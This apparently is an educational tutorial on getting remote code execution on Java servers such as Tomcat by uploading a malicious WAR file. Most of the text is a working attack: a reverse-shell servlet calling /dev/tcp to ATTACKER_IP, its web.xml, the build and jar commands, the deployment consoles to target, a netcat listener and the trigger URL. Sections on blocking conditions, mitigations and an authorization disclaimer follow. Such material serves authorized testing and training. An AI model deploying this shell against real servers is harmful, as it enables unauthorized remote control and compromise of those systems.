Java web applications widely use WAR files to package and deploy modules. Common examples include application servers such as Apache Tomcat, JBoss and WebLogic. A WAR file is a ZIP archive containing servlets, JSPs and other resources in a predefined structure.

In a web application that supports portlets, access to .war upload or deployment functionality may be abused to achieve remote code execution (RCE) or establish a reverse shell. This applies both to intentionally provided features and to uploads permitted by misconfigured administrator interfaces.

🔍 .war files explained

.war (Web ARchive) is a deployment package for Java EE applications. It typically contains the following files and resources.

  • /WEB-INF/web.xml → deployment configuration file
  • JSP files
  • Java class files (compiled servlets)
  • Static resources such as HTML, JS and CSS

If the server automatically deploys .war files or allows authenticated users to upload them, code that executes server commands can be packaged in a malicious .war file and used in an attack.

⚙️ .war files: deploying a reverse shell

The attack generally proceeds in the following sequence.

1. Create a reverse shell servlet

First, create a Java servlet that executes system commands. The following is a simple reverse shell example written for educational purposes.

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ShellServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String host = "ATTACKER_IP";
        int port = 4444;        String[] cmd = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1"};
        Runtime.getRuntime().exec(cmd);
    }
}

ATTACKER_IP and port should contain the IP address and port of the computer running the listener.

2. .war packaging

Arrange the directory structure as follows.

ReverseShell/
├── WEB-INF/
│   └── web.xml
└── ShellServlet.java

web.xml:

<web-app>
  <servlet>
    <servlet-name>ShellServlet</servlet-name>
    <servlet-class>ShellServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ShellServlet</servlet-name>
    <url-pattern>/shell</url-pattern>
  </servlet-mapping>
</web-app>

Compile the servlet, then package it as a .war file.

javac ShellServlet.java
mkdir -p ReverseShell/WEB-INF/classes
mv ShellServlet.class ReverseShell/WEB-INF/classes/
cp web.xml ReverseShell/WEB-INF/
jar -cvf reverse.war -C ReverseShell/ .

This produces the deployable file reverse.war.

🧪 3. Upload the WAR to the target server

If the portlet or administrator interface supports .war uploads, upload the previously created reverse.war. Some CMSs, development consoles and misconfigured dashboards provide this upload functionality.

Common deployment interfaces include the following.

  • /manager/html (Apache Tomcat Manager)
  • Liferay Portlet Manager
  • Deployment interfaces in JBoss, Jenkins and WebLogic

📡 4. Receive the shell connection

Before accessing the servlet, start a listener on the computer used for testing.

nc -lvnp 4444

Then open the following address in a browser.

http://target.com/reverse/shell

When the payload executes, the server connects to the listener and establishes a reverse shell.

🚫 Conditions that prevent the attack

Whether this attack is possible depends heavily on the server configuration. Under the following conditions, uploading the file may not establish a reverse shell.

🔒 Automatic WAR deployment is disabled

Production environments often disable automatic deployment, as shown below.

<Host name="localhost"  appBase="webapps"
      unpackWARs="true" autoDeploy="false">

When automatic deployment is disabled, uploading a .war file alone does not execute its code.

🛑 Upload or deployment permissions are missing

This method cannot be used if the application has no .war upload feature or access to the deployment console is unavailable.

🔐 Java SecurityManager or a sandbox is in use

Some servers use SecurityManager to restrict Java's execution of system commands. If Runtime.exec() calls are blocked, the reverse shell cannot execute either.

🧱 Outbound traffic is blocked

If firewall rules or other controls block outbound TCP connections from the server, the reverse shell cannot connect to the listener.

📁 Uploaded file types or contents are inspected

Some platforms inspect uploaded file types or check for malicious code, and may prohibit .war uploads altogether. Even when uploads are allowed, suspicious Java code or unusual servlet mappings may lead to blocking.

✅ Mitigations

  • Block .war uploads from untrusted users.
  • Require strong authentication for administrator and deployment consoles, and restrict access to allowlisted IP addresses.
  • Restrict outbound traffic from the server.
  • Inspect .war files before deployment.
  • Where supported by the environment, use SecurityManager or a sandbox to restrict execution privileges.
  • Grant server processes only the minimum OS privileges required for operation.

⚠️ Before testing

This article is intended for education and authorized security testing. Attempt these techniques only on systems you own or have explicit permission to test. Unauthorized attacks are illegal.

.war templates or a demonstration video are available on request via comments or messages. Always conduct tests safely and within the authorized scope.